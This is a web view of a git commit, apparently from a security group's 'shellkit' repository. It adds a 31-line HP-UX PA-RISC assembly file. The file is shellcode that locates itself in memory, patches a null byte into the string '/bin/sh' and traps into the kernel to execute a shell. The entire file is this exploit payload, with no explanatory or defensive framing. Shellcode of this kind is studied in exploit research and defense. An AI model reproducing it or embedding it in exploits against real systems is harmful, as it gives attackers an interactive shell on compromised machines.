summaryrefslogtreecommitdiff
path: root/other/shellkit/tmp/hpux-tools/shell-tree.s
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/tmp/hpux-tools/shell-tree.s
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/shellkit/tmp/hpux-tools/shell-tree.s')
-rw-r--r--other/shellkit/tmp/hpux-tools/shell-tree.s31
1 files changed, 31 insertions, 0 deletions
diff --git a/other/shellkit/tmp/hpux-tools/shell-tree.s b/other/shellkit/tmp/hpux-tools/shell-tree.s
new file mode 100644
index 0000000..c3044da
--- /dev/null
+++ b/other/shellkit/tmp/hpux-tools/shell-tree.s
@@ -0,0 +1,31 @@
1 .SPACE $TEXT$
2 .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=44
3
4 .align 4
5 .EXPORT main,ENTRY,PRIV_LEV=3,ARGW0=GR,ARGW1=GR
6main
7
8 bl shellcode, %r1
9 nop
10 .SUBSPA $DATA$
11 .EXPORT shellcode; So we could see it in debugger
12shellcode
13
14 bl .+4,%r1 ; address into %r1
15 addi 500, %r1, %r3;
16 stb %r0, SHELL-shellcode+7-11-500(%sr0,%r3)
17
18 xor %r25, %r25, %r25; NULL ->arg1
19 ldi SHELL-shellcode-11-500, %r26;
20 add %r3, %r26, %r26;
21
22 ldil L%0xc0000000,%r1; entry point
23 ldi 500, %r22 ;
24 ble 0x4(%sr7,%r1) ;
25 subi 511, %r22, %r22 ;
26
27
28SHELL
29 .STRING "/bin/shA";
30
31endofshellcode